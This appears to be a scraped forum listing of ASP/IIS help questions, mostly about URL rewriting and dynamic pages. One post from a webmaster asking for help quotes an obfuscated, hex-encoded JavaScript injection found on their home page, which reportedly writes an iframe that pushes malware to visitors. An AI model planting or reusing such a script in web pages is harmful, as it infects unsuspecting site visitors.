Dynamic URL Rewrite
how to show the URL without .asp or query string with parameters behind?
for example, i have a url string : www.abc.com/abc/abc.asp?id=1. how can i display the url in tis format with out the querystring? example: www.abc.com/abc/1
View Replies
ADVERTISEMENT
how to show the URL without .asp or query string with parameters behind?
for example, i have a url string : www.abc.com/abc/abc.asp?id=1. how can i display the url in tis format with out the querystring? example: www.abc.com/abc/1
View Replies
View Related
Some of my ASP pages are dynamically generated which we all know is a bad practice in terms of SEO. I've been trying to find a way on how i can convert these dynamic pages to static pages. I found some articles about ISAPI rewrite but according to them, it only works on dedicated servers, am still not sure about this though. By the way, is it possible just to code these and generate a static ASP page from a dynamic page? Do you have some sample codes on how to do this?
View Replies
View Related
how best to get an entire .asp dynamic site geared to Search Engines - I have looked at possible URL rewrites but that may not work as the site isn't on a dedicated server?
View Replies
View Related
Basically Ive got an url:
http://www.thepagename.com/town_pag...n_name=WHATEVER
Basically need that to be written and shown in the browser like:
www.thepagename.com/WHATEVER.html
notice how i've added the .html, thats for our Search Engine
Optimisation, or it may not be needed?
View Replies
View Related
If I want to rewrite URLs like:
http://www.mysite.com/check.asp?id=213&cat=USA
how can I rewrite this URL to make it friendly?
View Replies
View Related
Been searching for a program to do an ASP re-write to help wiht the dynamic URLs. most want something to install. I noticed that .NET has something - can that possibly be used or is there something else out there that actually does not have to be installed on the server?
View Replies
View Related
I have a site hosted at Verio that has four different domain names pointing to it. So when you browse to any of the four domain names, the same site is displayed. What I would like to do is make it so www.domain1.com is the primary URL, and if anyone browses to the site using any of the other addresses, the address is changed to reflect
www.domain1.com.
Furthermore, I'd like it so if someone navigates to www.domain2.com/somepage.asp, the address is changed and the path is retained, so the browser's address bar changes to www.domain1.com/somepage.asp.
Is this possible to do when I don't have much access to the server (i.e. Verio-hosted space)? What code can I use to do this?
View Replies
View Related
In apache I used a feature called a "Rewrite rule" inside a .htaccess
file to process the URL :
i.e. http://www/mypage.html =http://www/page.php?page=mypage
Now I'd like to do a similar action on a IIS server with ASP (not
..net)...
Can anyone tell me how you can do this ?
View Replies
View Related
where i can find some asp hosting which comes with the isapi rewrite componant, with out me having to buy a dedicated server?
View Replies
View Related
Im looking for help in setting up an url rewrite using ISAPI Rewrite. The componet is installed on my server which is win2003. What Im looking to set up an asp page or whatever to rewrite url: domain/MyAd/66 so it will point to domain/homeDetail.asp?AD_ID=66 . I also want to be sure that I dont screw up my search engine visablity with this. Looking for some help, examples, etc.
View Replies
View Related
I have a dedicated server running on IIS 6.(hosting company) Where should I place the rules for rewriting urls?ex>
RewriteEngine On
RewriteRule /agents/(.*)/.* /realestateagent.asp?id=$1
View Replies
View Related
I have some code I need modified and I can't seem to figure it out. Here's the section of code I need to change: ....
View Replies
View Related
This is weird, I'm pretty familiar with SQL Injection - but we're getting these weird injection that is writing in the default document or home page. What it's doing is putting in script code at the top or bottom of the home page... it looks something like this:
<script>function xy1q4877d47d91a36(q4877d47d92209){ function q4877d47d929d5
() {return 16;} return (parseInt(q4877d47d92209,q4877d47d929d5()));}funct ion
q4877d47d93974(q4877d47d94144){ var q4877d47d95c9b=2; var
q4877d47d94d7f='';q4877d47d96c3a=String.fromCharCo de;for(q4877d47d954cc=0;q4877d47d954cc<q4877d47d94144.length;q4877d47d954cc+=q4877d47d95c 9b){
q4877d47d94d7f+=(q4877d47d96c3a(xy1q4877d47d91a36( q4877d47d94144.substr(q4877d47d954cc,q4877d47d95c9 b))));}return
q4877d47d94d7f;} var
q4877d47d9740a='3C7363726970743E696628216D79696129 7B646F63756D656E742E777269746528756E65736361706528 20272533632536392536362537322536312536642536352532 30253733253732253633253364253237253638253734253734 25373025336125326625326625373425373225373525363525 37322536392536652536372537342536662536652536352537 33253265253665253635253734253266253733253635253631 25373225363325363825326525363325363725363925336625 36322536312536312536372536392537322536632625323725 32622534642536312537342536382532652537322536662537 35253665253634253238253464253631253734253638253265 25373225363125366525363425366625366425323825323925 32612533352533352533352533362533372532392532622532 37253634253335253332253338253237253230253737253639 25363425373425363825336425333125333825333125323025 36382536352536392536372536382537342533642533332533 30253337253230253733253734253739253663253635253364 25323725363425363925373325373025366325363125373925 33612532302536652536662536652536352532372533652533 63253266253639253636253732253631253664253635253365 2729293B7D766172206D7969613D747275653B3C2F73637269
70743E';document.write(q4877d47d93974(q4877d47d974 0a));</script>
What it's doing is decoding itself into an iframe that links out to popups that will try and download a virus on your machine. I don't get the popup in my machine because i think i have a newer version of IE. But some people have complained that it is installing a virus on their machine.
Also what is crazy is when I replace the file with a good version. In about 30 mins, it automatically overwritten with the infected version. Also I've noticed it on some other websites that I haven't touched.
Has anyone encountered this before? Because I'm stumped as to the cause of it. I don't see the issue on our dev server. It seems to be IIS on a shared host.
View Replies
View Related
I have some asp code in variable so i want to rewrite anchor tags like this:
If i have:
<a href="http://www.sitepoint.com">www.sitepoint.com</a>
To be rewrited as:
<a href="http://www.sitepoint.com" target="_blank">www.sitepoint.com</a> out
The problem is that urls from my domain shouldn't be changed for example if href="/some_path" or href="http://www.mysite.com/some_path"
I try making some expressions with RegexBuddy but it didnt worked very nice.
View Replies
View Related
I code that creates a calendar for each month and then it displays events from that month that are stored in a db. I need to loop through my recordset and display all the events, but I can't quite figure out how to do it. I am thinking I need to do an array. But I am not really sure.... any ideas. Here is where you can view the calendar. Code:
View Replies
View Related
Ok, I have a Javascript ASP and in it I have a dynamic repeating table with certain attributes to people. If one of these attributes is old or invalid, i want to change the color of the text (and maybe make it flash, blink, change size, something) so that it's easy to read.
View Replies
View Related
I want to create textboxes dynamically but with dynamic names also.
i am retrieveing a load of values from a table in SQL into a DataReader.
Then i want to create textboxes from those variables. I want to dim various
textboxes with different names depending on what I retrieve from SQL. I
tried the following:
dim dtrcondet.item("contact_detail_description") as new textbox()
but this does not work
View Replies
View Related
I am trying to create a site that has dynamic page generated based on if a value is present.
PROBLEM
I want to be able to show a certain dynamic page if a certain value equals to true. The page should be able to generate values from a db
e.g. <%=aspscript%>
And if the value equals to false, then the page should not appear at all.
I tried using SSI (Server side inlcudes) but cant append variable names to it or use them with if then statements
View Replies
View Related
I would like to have some text appear in a different color if it matches a result in a database. I am not sure how the syntax would work, this is what I have come up with so far. Not sure how to insert it.
If <%=(Picks.Fields.Item("Pick1").Value)%> = <%=(Results.Fields.Item("Pick1").Value)%> then class="style1"
Is this possible? and if it is does it have to be entered for each occurance of the dynamic text or can it be added to css?
View Replies
View Related
i want o make the images on my website depending on who is logged in. I have all of the Images names stored into my database, which i have uploaded there using the Pure ASP upload 2.09 add on for dreamweaver, and that all works fine and my image is stored in the correct folder and the name of that image is stored into the database as imagename.gif which is exactly what i want, but i dont know how i need to declare that value from the database into my style sheet. Code:
View Replies
View Related
I need to create a bunch of sites with slightly dynamic CSS. Basically,
all the image paths in the CSS need to be dynamic, depending on the
values of certain ASP variables.
I can think of 3 ways to do this:
1. Write a script to create a semi-dynamic CSS file, which will be run
whenever we need to make changes to the ASP variables controlling the
image paths.
2. Have an ASP script generate the CSS on the fly:
<link href="dynamiccss.asp" rel="stylesheet" type="text/css">
3. Put all static CSS in a normal CSS file, and have a special dynamic
style sheet for only those rules that require variability. We could
either use method 2 above to generate a second style sheet, or place
dynamic rules directly in the actual asp pages.
View Replies
View Related
I have a form element and the name is dynamic
name="<%=cnum%>"
i now need to do this but it's telling me that it needs an to be a string.
JobsToUpdate = Split(request.QueryString(cnum),",")
and what would be ideal is the value of Jobstoupdate will be
This Cnum ->cnum=Split(request.QueryString("staticcnum"),",")
Hopefully I explained it well enough.
View Replies
View Related
is there a way to make a dynamic dim, or am i looking at this all wrong
<%
Dim A & request.form("") & B
A & request.form("") & B = Request.form("")
%>
View Replies
View Related
how to dynamically build an XML document with IIS6 and 404 error custom handler?
At the moment if I dinamically create an XML page with Response.Write(xml code here) I cannot remove header "404 errorpagepath" that IIS adds automatically. How to remove that header from Response object?
View Replies
View Related
i think my code is correct.but it still can't work when i run in the nokia mobile browser,i had run my wap gateway and internet service server(ISS) also.
can anyone help me to solve this problem? The attaches file is the wml,asp and database for this program.
View Replies
View Related
i want to have a dynamic navigation that will look at a database and then fill the navigation side. I want to have a category, then a sub- category also. Can this be done?
View Replies
View Related
I would like to build a dynamic link based upon a value returned from a db
There is data in the db because objRS("Description") returns a value.
something like
Code:
if objRS.EOF then
%>
<a href="/somepage.asp?id="<% objRS("Id") %> "><%response.write(objRS("Description"))%></a>
<%
else
end if
I get
http://localhost/somepage.asp?id=
Nothing else at the end.
What am i doing wrong?
View Replies
View Related
it's a dynamic form which should show which option is selected. I've made zillions of these before, and this should work no problem, but there's a bug that I just can't see somewhere... Can anyone see what in god's name I'm missing? Code:
View Replies
View Related
I have been searching for tutorials everywhere on how I could make a menu that is multi levels but that can be updated dynamically through asp...so basically when I add a link in the database it will update the menu...now I know how to pretty much pull links from the database for a basic menu...but lets say there is a link called about us and under about us there is more options to choose from.
How would i code this so the menu would know which ones were parents and which ones where childs? And does anyone know of a good tutorial, or of an example. and basically I want this because I would like to create a content manager...but I don't understand how the menu would work when pulling data from a database.
View Replies
View Related
Is there any way to dynamically generate an include file based on a variable passed to the asp page via a url ?- so for example:
Person x clicks on a url - that ur directs them to template.asp (template.asp has no code in it other than page title etc and <!--#include file="<%variable%>" --> )
Once in template.asp the page loads the include file that is relevant to the companies website that the link was clicked from.
In that include file will be the correct form and stylesheet setting for that company.
What we are trying to do is achieve a global template file which multiple customers can direct peo[ple through and all the data is therefore stored in one central repository.
The file displayed when they reach template.asp will depend on the url they clicked. Basically how can i get the url to pass the variable which the include file will then load??
View Replies
View Related
I have a table in ASP page which displays records and it has a checkbox whose name is ChkBox<%= intRecID %>
<%= intRecID %> is the ID of that record. Now how should I chck whether check box is not checked.
View Replies
View Related
I am having to make sites accessible where images are dynamically generated.
'Display the graphical hit count
Response.Write("<img src=""counter_images/")
Response.Write(Mid(lngVisitorNumber, intWriteDigitLoopCount, 1) & ".gif""")
Response.Write("alt=""" & Mid(lngVisitorNumber, intWriteDigitLoopCount, 1) & """>")
How do I include the width and height attributes in this code?
View Replies
View Related